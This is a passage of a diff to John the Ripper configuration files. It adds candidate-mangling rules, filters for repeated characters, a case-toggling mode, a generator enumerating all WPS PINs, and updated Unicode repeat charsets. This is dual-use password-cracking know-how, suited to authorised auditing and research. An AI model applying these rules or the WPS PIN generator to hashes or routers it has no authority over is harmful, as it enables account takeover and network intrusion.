+-c /[ ] va01 vapa Ta Q
+-c %2[ ] va01 vapa Ta Q
+-c %3[ ] va01 vapa Ta Q
+-c %4[ ] va01 vapa Ta Q
+-c %5[ ] va01 vapa Ta Q
+
+# Move first word to be after last word
+[List.Rules:PhraseWrap]
+/[ ] ^[ ] Xpz0 \[ 'l
+# Other ways to write this rule
+#/[ ] xpz \[ $[ ] X0pz 'l
+#/[ ] 'p ^[ ] va01 vapa Xaz0
+
 # Used for loopback. This rule will produce candidates "PASSWOR" and "D" for
 # an input of "PASSWORD" (assuming LM, which has halves of length 7).
 [List.Rules:Split]
@@ -1167,6 +1213,9 @@ b1 ]
 .include [List.Rules:Extra]
 .include [List.Rules:OldOffice]
 
+# Unicode substitution rules
+.include <unisubst.conf>
+
 # For Wordlist mode and very fast hashes
 [List.Rules:Jumbo]
 .include [List.Rules:Single-Extra]
@@ -1174,6 +1223,7 @@ b1 ]
 .include [List.Rules:ShiftToggle]
 .include [List.Rules:Multiword]
 .include [List.Rules:best64]
+.include [List.Rules:UnicodeSubstitution]
 
 # KoreLogic rules
 .include <korelogic.conf>
@@ -1189,7 +1239,9 @@ b1 ]
 
 # Incremental modes
 
-# This is for one-off uses (make your own custom.chr)
+# This is for one-off uses (make your own custom.chr).
+# A charset can now also be named directly from command-line, so no config
+# entry needed: --incremental=whatever.chr
 [Incremental:Custom]
 File = $JOHN/custom.chr
 MinLen = 0
@@ -1548,6 +1600,65 @@ void filter()
 	word = 0;
 }
 
+# Skip candidate passwords that contain the same character more than once
+[List.External:Filter_NoRepeats]
+int seen[0x100], now;
+
+void init()
+{
+	now = 1;
+}
+
+void filter()
+{
+	int i, c;
+
+	if (!--now) {
+		i = 0;
+		while (i < 0x100)
+			seen[i++] = 0;
+		now = 1000000000;
+	}
+
+	i = 0;
+	while (c = word[i++]) {
+		if (seen[c] == now) {
+			word = 0; return;
+		}
+		seen[c] = now;
+	}
+}
+
+# Keep only candidate passwords that contain the same character more than once
+[List.External:Filter_Repeats]
+int seen[0x100], now;
+
+void init()
+{
+	now = 1;
+}
+
+void filter()
+{
+	int i, c;
+
+	if (!--now) {
+		i = 0;
+		while (i < 0x100)
+			seen[i++] = 0;
+		now = 1000000000;
+	}
+
+	i = 0;
+	while (c = word[i++]) {
+		if (seen[c] == now)
+			return;
+		seen[c] = now;
+	}
+
+	word = 0;
+}
+
 # A simple cracker for LM hashes
 [List.External:LanMan]
 int length;				// Current length
@@ -2167,6 +2278,9 @@ void init()
 # than the maximum length (the maxlength setting).  Nevertheless, you may want
 # to pass the resulting candidate passwords through "unique" if you intend to
 # test them against hashes that are salted and/or of a slow to compute type.
+#
+# Note that we now have a full blown cracking mode --subsets that is way faster
+# than this code and never produce a duplicate.  See doc/SUBSETS
 [List.External:Subsets]
 int minlength;		// Minimum password length to try
 int maxlength;		// Maximum password length to try
@@ -3383,6 +3497,40 @@ void restore()
 	}
 }
 
+# generate all possible wps pins
+[List.External:wpspin]
+int pin;
+void init() {
+	pin = 0;
+}
+void generate() {
+	if (pin > 9999999) {
+		word = 0;
+		return;
+	}
+	int i, p;
+	i = 0;
+	while (i < 8) word[i++] = '0';
+	word[8] = 0;
+	p = pin;
+	i = 6;
+	while (p) {
+		word[i] = '0' + p % 10;
+		p /= 10;
+		--i;
+	}
+	p = pin;
+	i = 0;
+	while (p) {
+		i += 3 * (p % 10);
+		p /= 10;
+		i += p % 10;
+		p /= 10;
+	}
+	word[7] = '0' + ((10 - i % 10) % 10);
+	++pin;
+}
+
 # Append the Luhn algorithm digit to arbitrary all-digit strings.  Optimized
 # for speed, not for size nor simplicity.  The primary optimization trick is to
 # compute the length and four sums in parallel (in two SIMD'ish variables).
@@ -3860,8 +4008,8 @@ void next()
 }
 /* restore() not needed. john properly restores fast enough without it */
 
-# External hybrid CaSE mutation code
-[List.External:Case]
+# Shared base code for External hybrid CaSE and Wordcase mutation code
+[List.External_base:Case]
 
 int rotor[251]; /* max length input is 125 bytes [125*5+1]; */
 int rotors[125];
@@ -3871,17 +4019,12 @@ int rotor_cnt[125];
 int current_word_count;
 int max_mangle; /* controls how many bytes we run through our 'leet' code */
 int original_word; /* if set to 1 then we start with original word. If 0, then start with first mangled word */
-
-void init()
-{
-	max_mangle = 20; /* only mangle 20 characters max (2^20 is 1 million) */
-	original_word = 1; /* for case mangle, unless the data is 100% lower case, we really can not skip the original word */
-}
+int word_mode; /* if set to 1, only first character of each space-separated word is case-toggled, else every character */
 
 /* new word */
 void new()
 {
-	int rotor_off, idx, wlen, ch;
+	int rotor_off, idx, wlen, ch, prevch;
 	idx = rotor_off = wlen = 0;
 	hybrid_total = 1;
 	while (word[wlen++]) ; --wlen;
@@ -3890,24 +4033,32 @@ void new()
 		return;
 	}
 	wlen = 0;
+	prevch = ' '; /* at word start, behave as if previous char was space for wordcase mode */
 	while (word[wlen] && idx < max_mangle) {
 		rotor_cnt[wlen] = rotor_idx[wlen] = 0;
 		rotor_ptr[wlen] = rotor_off;
 		ch = word[wlen];
-		if (ch >= 'A' && ch <= 'Z') {
-			ch += 0x20;
-			word[wlen] = ch;
-			rotor[rotor_off++] = ch;
-			rotor[rotor_off++] = ch-0x20;
-		}
-		if (ch >= 'a' && ch <= 'z') {
-			rotor[rotor_off++] = ch;
-			rotor[rotor_off++] = ch-0x20;
-			rotor_cnt[wlen] = 2;
-			hybrid_total *= 2;
-			rotors[idx++] = wlen;
+		/* traditionally, this block was always executed, with Wordcase
+		   mode added we execute it either always when word_mode isn't
+		   used or at the beginning of a word or when the previous char
+		   was space */
+		if (!word_mode || prevch == ' ') {
+			if (ch >= 'A' && ch <= 'Z') {
+				ch += 0x20;
+				word[wlen] = ch;
+				rotor[rotor_off++] = ch;
+				rotor[rotor_off++] = ch-0x20;
+			}
+			if (ch >= 'a' && ch <= 'z') {
+				rotor[rotor_off++] = ch;
+				rotor[rotor_off++] = ch-0x20;
+				rotor_cnt[wlen] = 2;
+				hybrid_total *= 2;
+				rotors[idx++] = wlen;
+			}
 		}
 		++wlen;
+		prevch = ch;
 	}
 	/* hybrid_total+666 is our indicator that this is the original word */
 	if (original_word)
@@ -3942,9 +4093,37 @@ void next()
 }
 /* restore() not needed. john properly restores fast enough without it */
 
+# External hybrid CaSE mutation code
+[List.External:Case]
+.include [List.External_base:Case]
+
+void init()
+{
+	max_mangle = 20; /* only mangle 20 characters max (2^20 is 1 million) */
+	original_word = 1; /* for case mangle, unless the data is 100% lower case, we really can not skip the original word */
+	word_mode = 0;
+}
+
+
+# external mode toggling case in all word combinations, e.g:
+# foo bar -> foo bar, foo Bar, Foo bar, Foo Bar
+[List.External:Wordcase]
+.include [List.External_base:Case]
+
+void init()
+{
+	max_mangle = 20; /* only mangle 20 characters max (2^20 is 1 million) */
+	original_word = 1; /* for case mangle, unless the data is 100% lower case, we really can not skip the original word */
+	word_mode = 1;
+}
+
 # Alternate hybrid external 'leet' mode (HybridLeet)
 .include <hybrid.conf>
 
+# Note that the (newer) cracking mode --subsets=full-unicode is way faster than
+# the external dumb/repeats modes below, although not as easy to adapt to smaller
+# portions of the Unicode space.  See doc/SUBSETS
+
 # dumb-force UTF-16, in an external file
 .include <dumb16.conf>
 

data/jtr/korelogic.conf

@@ -14,7 +14,7 @@ a6 A0"[Aa][uU][tT][uU][mM][nN]"
 [List.Rules:AppendSeason]
 a6 Az"[Ss$][uU][mM][mM][eE3][rR]"
 a6 Az"[Ww][iI|][nN][tT+][eE3][rR]"
-a6 Az"[Ff][aA][lL][lL]"
+a4 Az"[Ff][aA][lL][lL]"
 a6 Az"[Ss][pP][rR][iI][nN][gG]"
 a6 Az"[Aa][uU][tT][uU][mM][nN]"
 

data/jtr/repeats16.conf

@@ -1,16 +1,21 @@
-# This software is Copyright (c) 2012-2018 magnum, and it is hereby
+# This software is Copyright (c) 2012-2020 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
-# Try strings of repeated characters, Unicode (version 11) BMP version
+# Try strings of repeated characters, Unicode (version 13) BMP version
 #
-# Number of candidates = 55,292 x max-length
+# Number of candidates = 55,387 x max-length
 #
 # Note that these modes will handle --max-len differently than normal: They
 # will consider number of characters as opposed to number of bytes. This
 # means you can naturally just use e.g. --max-len=3 for generating all
 # three-character candidates (which may be up to 9 bytes each).
+#
+# Note that the (newer) cracking mode --subsets=full-unicode is way faster than
+# this external mode, although not as easy to adapt to smaller portions of the
+# Unicode space.  See doc/SUBSETS
+
 [List.External:Repeats16]
 int minlength, maxlength, maxc, length, c;
 int charset[0x10000];
@@ -159,7 +164,7 @@ void init()
 	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
 		charset[i++] = c++;
 	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8bd)	// ..to ARABIC LETTER AFRICAN NOON
+	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
 		charset[i++] = c++;
 	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
@@ -296,7 +301,7 @@ void init()
 	charset[i++] = 0xb48;	// ORIYA VOWEL SIGN AI
 	charset[i++] = 0xb4b;	// ORIYA VOWEL SIGN O
 	charset[i++] = 0xb4d;	// ORIYA SIGN VIRAMA
-	charset[i++] = 0xb56;	// ORIYA AI LENGTH MARK
+	charset[i++] = 0xb55;	// ORIYA SIGN OVERLINE
 	charset[i++] = 0xb57;	// ORIYA AU LENGTH MARK
 	charset[i++] = 0xb5c;	// ORIYA LETTER RRA
 	charset[i++] = 0xb5d;	// ORIYA LETTER RHA
@@ -369,7 +374,7 @@ void init()
 	c = 0xc66;		// from TELUGU DIGIT ZERO
 	while (c <= 0xc6f)	// ..to TELUGU DIGIT NINE
 		charset[i++] = c++;
-	c = 0xc78;		// from TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR
+	c = 0xc77;		// from TELUGU SIGN SIDDHAM
 	while (c <= 0xc7f)	// ..to TELUGU SIGN TUUMU
 		charset[i++] = c++;
 // 0C80..0CFF; Kannada
@@ -407,9 +412,6 @@ void init()
 	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
-	while (c <= 0xd03)	// ..to MALAYALAM SIGN VISARGA
-		charset[i++] = c++;
-	c = 0xd05;		// from MALAYALAM LETTER A
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
 		charset[i++] = c++;
 	charset[i++] = 0xd0e;	// MALAYALAM LETTER E
@@ -429,7 +431,7 @@ void init()
 	while (c <= 0xd7f)	// ..to MALAYALAM LETTER CHILLU K
 		charset[i++] = c++;
 // 0D80..0DFF; Sinhala
-	charset[i++] = 0xd82;	// SINHALA SIGN ANUSVARAYA
+	charset[i++] = 0xd81;	// SINHALA SIGN CANDRABINDU
 	charset[i++] = 0xd83;	// SINHALA SIGN VISARGAYA
 	c = 0xd85;		// from SINHALA LETTER AYANNA
 	while (c <= 0xd96)	// ..to SINHALA LETTER AUYANNA
@@ -464,23 +466,15 @@ void init()
 // 0E80..0EFF; Lao
 	charset[i++] = 0xe81;	// LAO LETTER KO
 	charset[i++] = 0xe82;	// LAO LETTER KHO SUNG
-	charset[i++] = 0xe87;	// LAO LETTER NGO
-	charset[i++] = 0xe88;	// LAO LETTER CO
-	c = 0xe94;		// from LAO LETTER DO
-	while (c <= 0xe97)	// ..to LAO LETTER THO TAM
+	c = 0xe86;		// from LAO LETTER PALI GHA
+	while (c <= 0xe8a)	// ..to LAO LETTER SO TAM
 		charset[i++] = c++;
-	c = 0xe99;		// from LAO LETTER NO
-	while (c <= 0xe9f)	// ..to LAO LETTER FO SUNG
+	c = 0xe8c;		// from LAO LETTER PALI JHA
+	while (c <= 0xea3)	// ..to LAO LETTER LO LING
 		charset[i++] = c++;
-	charset[i++] = 0xea1;	// LAO LETTER MO
-	charset[i++] = 0xea3;	// LAO LETTER LO LING
-	charset[i++] = 0xeaa;	// LAO LETTER SO SUNG
-	charset[i++] = 0xeab;	// LAO LETTER HO SUNG
-	c = 0xead;		// from LAO LETTER O
-	while (c <= 0xeb9)	// ..to LAO VOWEL SIGN UU
+	c = 0xea7;		// from LAO LETTER WO
+	while (c <= 0xebd)	// ..to LAO SEMIVOWEL SIGN NYO
 		charset[i++] = c++;
-	charset[i++] = 0xebb;	// LAO VOWEL SIGN MAI KON
-	charset[i++] = 0xebd;	// LAO SEMIVOWEL SIGN NYO
 	c = 0xec0;		// from LAO VOWEL SIGN E
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
@@ -706,7 +700,7 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1abe)	// ..to COMBINING PARENTHESES OVERLAY
+	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
@@ -755,7 +749,7 @@ void init()
 		charset[i++] = c++;
 // 1CD0..1CFF; Vedic Extensions
 	c = 0x1cd0;		// from VEDIC TONE KARSHANA
-	while (c <= 0x1cf9)	// ..to VEDIC TONE DOUBLE RING ABOVE
+	while (c <= 0x1cfa)	// ..to VEDIC SIGN DOUBLE ANUSVARA ANTARGOMUKHA
 		charset[i++] = c++;
 // 1D00..1D7F; Phonetic Extensions
 	c = 0x1d00;		// from LATIN LETTER SMALL CAPITAL A
@@ -922,11 +916,8 @@ void init()
 	c = 0x2b76;		// from NORTH WEST TRIANGLE-HEADED ARROW TO BAR
 	while (c <= 0x2b95)	// ..to RIGHTWARDS BLACK ARROW
 		charset[i++] = c++;
-	c = 0x2b98;		// from THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD
-	while (c <= 0x2bc8)	// ..to BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-		charset[i++] = c++;
-	c = 0x2bca;		// from TOP HALF BLACK CIRCLE
-	while (c <= 0x2bfe)	// ..to REVERSED RIGHT ANGLE
+	c = 0x2b97;		// from SYMBOL FOR TYPE A ELECTRONICS
+	while (c <= 0x2bff)	// ..to HELLSCHREIBER PAUSE SYMBOL
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
@@ -994,7 +985,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e4e)	// ..to PUNCTUS ELEVATUS MARK
+	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1040,7 +1031,7 @@ void init()
 		charset[i++] = c++;
 // 31A0..31BF; Bopomofo Extended
 	c = 0x31a0;		// from BOPOMOFO LETTER BU
-	while (c <= 0x31ba)	// ..to BOPOMOFO LETTER ZY
+	while (c <= 0x31bf)	// ..to BOPOMOFO LETTER AH
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
@@ -1055,7 +1046,7 @@ void init()
 	while (c <= 0x321e)	// ..to PARENTHESIZED KOREAN CHARACTER O HU
 		charset[i++] = c++;
 	c = 0x3220;		// from PARENTHESIZED IDEOGRAPH ONE
-	while (c <= 0x32fe)	// ..to CIRCLED KATAKANA WO
+	while (c <= 0x32ff)	// ..to SQUARE ERA NAME REIWA
 		charset[i++] = c++;
 // 3300..33FF; CJK Compatibility
 	c = 0x3300;		// from SQUARE APAATO
@@ -1063,7 +1054,7 @@ void init()
 		charset[i++] = c++;
 // 3400..4DBF; CJK Unified Ideographs Extension A
 	c = 0x3400;		// from <CJK Ideograph Extension A, First>
-	while (c <= 0x4db5)	// ..to <CJK Ideograph Extension A, Last>
+	while (c <= 0x4dbf)	// ..to <CJK Ideograph Extension A, Last>
 		charset[i++] = c++;
 // 4DC0..4DFF; Yijing Hexagram Symbols
 	c = 0x4dc0;		// from HEXAGRAM FOR THE CREATIVE HEAVEN
@@ -1071,7 +1062,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9fef)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1103,14 +1094,17 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7b9)	// ..to LATIN SMALL LETTER U WITH STROKE
+	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
 		charset[i++] = c++;
-	c = 0xa7f7;		// from LATIN EPIGRAPHIC LETTER SIDEWAYS I
+	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
+	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+		charset[i++] = c++;
+	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
 	c = 0xa800;		// from SYLOTI NAGRI LETTER A
-	while (c <= 0xa82b)	// ..to SYLOTI NAGRI POETRY MARK-4
+	while (c <= 0xa82c)	// ..to SYLOTI NAGRI SIGN ALTERNATE HASANTA
 		charset[i++] = c++;
 // A830..A83F; Common Indic Number Forms
 	c = 0xa830;		// from NORTH INDIC FRACTION ONE QUARTER
@@ -1203,7 +1197,7 @@ void init()
 		charset[i++] = c++;
 // AB30..AB6F; Latin Extended-E
 	c = 0xab30;		// from LATIN SMALL LETTER BARRED ALPHA
-	while (c <= 0xab65)	// ..to GREEK LETTER SMALL CAPITAL OMEGA
+	while (c <= 0xab6b)	// ..to MODIFIER LETTER RIGHT TACK
 		charset[i++] = c++;
 // AB70..ABBF; Cherokee Supplement
 	c = 0xab70;		// from CHEROKEE SMALL LETTER A

data/jtr/repeats32.conf

@@ -1,11 +1,11 @@
-# This software is Copyright (c) 2012-2018 magnum, and it is hereby
+# This software is Copyright (c) 2012-2020 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
-# Try strings of repeated characters, Full Unicode (version 11) version
+# Try strings of repeated characters, Full Unicode (version 13) version
 #
-# Number of candidates = 137,046 x length
+# Number of candidates = 143,532 x length
 #
 # Note that these modes will handle --max-len differently than normal: They
 # will consider number of characters as opposed to number of bytes. This
@@ -16,9 +16,14 @@
 # format will be up to four bytes (two 16-bit words) due to use of surrogates
 # for characters above U+FFFF. This means a format which normally handles up
 # to 27 characters may be limited to only 13 characters, worst case.
+#
+# Note that the (newer) cracking mode --subsets=full-unicode is way faster than
+# this external mode, although not as easy to adapt to smaller portions of the
+# Unicode space.  See doc/SUBSETS
+
 [List.External:Repeats32]
 int minlength, maxlength, maxc, length, c;
-int charset[0x22000];
+int charset[0x24000];
 
 void init()
 {
@@ -164,7 +169,7 @@ void init()
 	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
 		charset[i++] = c++;
 	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8bd)	// ..to ARABIC LETTER AFRICAN NOON
+	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
 		charset[i++] = c++;
 	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
@@ -301,7 +306,7 @@ void init()
 	charset[i++] = 0xb48;	// ORIYA VOWEL SIGN AI
 	charset[i++] = 0xb4b;	// ORIYA VOWEL SIGN O
 	charset[i++] = 0xb4d;	// ORIYA SIGN VIRAMA
-	charset[i++] = 0xb56;	// ORIYA AI LENGTH MARK
+	charset[i++] = 0xb55;	// ORIYA SIGN OVERLINE
 	charset[i++] = 0xb57;	// ORIYA AU LENGTH MARK
 	charset[i++] = 0xb5c;	// ORIYA LETTER RRA
 	charset[i++] = 0xb5d;	// ORIYA LETTER RHA
@@ -374,7 +379,7 @@ void init()
 	c = 0xc66;		// from TELUGU DIGIT ZERO
 	while (c <= 0xc6f)	// ..to TELUGU DIGIT NINE
 		charset[i++] = c++;
-	c = 0xc78;		// from TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR
+	c = 0xc77;		// from TELUGU SIGN SIDDHAM
 	while (c <= 0xc7f)	// ..to TELUGU SIGN TUUMU
 		charset[i++] = c++;
 // 0C80..0CFF; Kannada
@@ -412,9 +417,6 @@ void init()
 	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
-	while (c <= 0xd03)	// ..to MALAYALAM SIGN VISARGA
-		charset[i++] = c++;
-	c = 0xd05;		// from MALAYALAM LETTER A
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
 		charset[i++] = c++;
 	charset[i++] = 0xd0e;	// MALAYALAM LETTER E
@@ -434,7 +436,7 @@ void init()
 	while (c <= 0xd7f)	// ..to MALAYALAM LETTER CHILLU K
 		charset[i++] = c++;
 // 0D80..0DFF; Sinhala
-	charset[i++] = 0xd82;	// SINHALA SIGN ANUSVARAYA
+	charset[i++] = 0xd81;	// SINHALA SIGN CANDRABINDU
 	charset[i++] = 0xd83;	// SINHALA SIGN VISARGAYA
 	c = 0xd85;		// from SINHALA LETTER AYANNA
 	while (c <= 0xd96)	// ..to SINHALA LETTER AUYANNA
@@ -469,23 +471,15 @@ void init()
 // 0E80..0EFF; Lao
 	charset[i++] = 0xe81;	// LAO LETTER KO
 	charset[i++] = 0xe82;	// LAO LETTER KHO SUNG
-	charset[i++] = 0xe87;	// LAO LETTER NGO
-	charset[i++] = 0xe88;	// LAO LETTER CO
-	c = 0xe94;		// from LAO LETTER DO
-	while (c <= 0xe97)	// ..to LAO LETTER THO TAM
+	c = 0xe86;		// from LAO LETTER PALI GHA
+	while (c <= 0xe8a)	// ..to LAO LETTER SO TAM
 		charset[i++] = c++;
-	c = 0xe99;		// from LAO LETTER NO
-	while (c <= 0xe9f)	// ..to LAO LETTER FO SUNG
+	c = 0xe8c;		// from LAO LETTER PALI JHA
+	while (c <= 0xea3)	// ..to LAO LETTER LO LING
 		charset[i++] = c++;
-	charset[i++] = 0xea1;	// LAO LETTER MO
-	charset[i++] = 0xea3;	// LAO LETTER LO LING
-	charset[i++] = 0xeaa;	// LAO LETTER SO SUNG
-	charset[i++] = 0xeab;	// LAO LETTER HO SUNG
-	c = 0xead;		// from LAO LETTER O
-	while (c <= 0xeb9)	// ..to LAO VOWEL SIGN UU
+	c = 0xea7;		// from LAO LETTER WO
+	while (c <= 0xebd)	// ..to LAO SEMIVOWEL SIGN NYO
 		charset[i++] = c++;
-	charset[i++] = 0xebb;	// LAO VOWEL SIGN MAI KON
-	charset[i++] = 0xebd;	// LAO SEMIVOWEL SIGN NYO
 	c = 0xec0;		// from LAO VOWEL SIGN E
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
@@ -711,7 +705,7 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1abe)	// ..to COMBINING PARENTHESES OVERLAY
+	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
@@ -760,7 +754,7 @@ void init()
 		charset[i++] = c++;
 // 1CD0..1CFF; Vedic Extensions
 	c = 0x1cd0;		// from VEDIC TONE KARSHANA
-	while (c <= 0x1cf9)	// ..to VEDIC TONE DOUBLE RING ABOVE
+	while (c <= 0x1cfa)	// ..to VEDIC SIGN DOUBLE ANUSVARA ANTARGOMUKHA
 		charset[i++] = c++;
 // 1D00..1D7F; Phonetic Extensions
 	c = 0x1d00;		// from LATIN LETTER SMALL CAPITAL A
@@ -927,11 +921,8 @@ void init()
 	c = 0x2b76;		// from NORTH WEST TRIANGLE-HEADED ARROW TO BAR
 	while (c <= 0x2b95)	// ..to RIGHTWARDS BLACK ARROW
 		charset[i++] = c++;
-	c = 0x2b98;		// from THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD
-	while (c <= 0x2bc8)	// ..to BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-		charset[i++] = c++;
-	c = 0x2bca;		// from TOP HALF BLACK CIRCLE
-	while (c <= 0x2bfe)	// ..to REVERSED RIGHT ANGLE
+	c = 0x2b97;		// from SYMBOL FOR TYPE A ELECTRONICS
+	while (c <= 0x2bff)	// ..to HELLSCHREIBER PAUSE SYMBOL
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
@@ -999,7 +990,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e4e)	// ..to PUNCTUS ELEVATUS MARK
+	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1045,7 +1036,7 @@ void init()
 		charset[i++] = c++;
 // 31A0..31BF; Bopomofo Extended
 	c = 0x31a0;		// from BOPOMOFO LETTER BU
-	while (c <= 0x31ba)	// ..to BOPOMOFO LETTER ZY
+	while (c <= 0x31bf)	// ..to BOPOMOFO LETTER AH
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
@@ -1060,7 +1051,7 @@ void init()
 	while (c <= 0x321e)	// ..to PARENTHESIZED KOREAN CHARACTER O HU
 		charset[i++] = c++;
 	c = 0x3220;		// from PARENTHESIZED IDEOGRAPH ONE
-	while (c <= 0x32fe)	// ..to CIRCLED KATAKANA WO
+	while (c <= 0x32ff)	// ..to SQUARE ERA NAME REIWA
 		charset[i++] = c++;
 // 3300..33FF; CJK Compatibility
 	c = 0x3300;		// from SQUARE APAATO
@@ -1068,7 +1059,7 @@ void init()
 		charset[i++] = c++;
 // 3400..4DBF; CJK Unified Ideographs Extension A
 	c = 0x3400;		// from <CJK Ideograph Extension A, First>
-	while (c <= 0x4db5)	// ..to <CJK Ideograph Extension A, Last>
+	while (c <= 0x4dbf)	// ..to <CJK Ideograph Extension A, Last>
 		charset[i++] = c++;
 // 4DC0..4DFF; Yijing Hexagram Symbols
 	c = 0x4dc0;		// from HEXAGRAM FOR THE CREATIVE HEAVEN
@@ -1076,7 +1067,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9fef)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1108,14 +1099,17 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7b9)	// ..to LATIN SMALL LETTER U WITH STROKE
+	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
 		charset[i++] = c++;
-	c = 0xa7f7;		// from LATIN EPIGRAPHIC LETTER SIDEWAYS I
+	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
+	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+		charset[i++] = c++;
+	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
 	c = 0xa800;		// from SYLOTI NAGRI LETTER A
-	while (c <= 0xa82b)	// ..to SYLOTI NAGRI POETRY MARK-4
+	while (c <= 0xa82c)	// ..to SYLOTI NAGRI SIGN ALTERNATE HASANTA
 		charset[i++] = c++;
 // A830..A83F; Common Indic Number Forms
 	c = 0xa830;		// from NORTH INDIC FRACTION ONE QUARTER
@@ -1208,7 +1202,7 @@ void init()
 		charset[i++] = c++;
 // AB30..AB6F; Latin Extended-E
 	c = 0xab30;		// from LATIN SMALL LETTER BARRED ALPHA
-	while (c <= 0xab65)	// ..to GREEK LETTER SMALL CAPITAL OMEGA
+	while (c <= 0xab6b)	// ..to MODIFIER LETTER RIGHT TACK
 		charset[i++] = c++;
 // AB70..ABBF; Cherokee Supplement
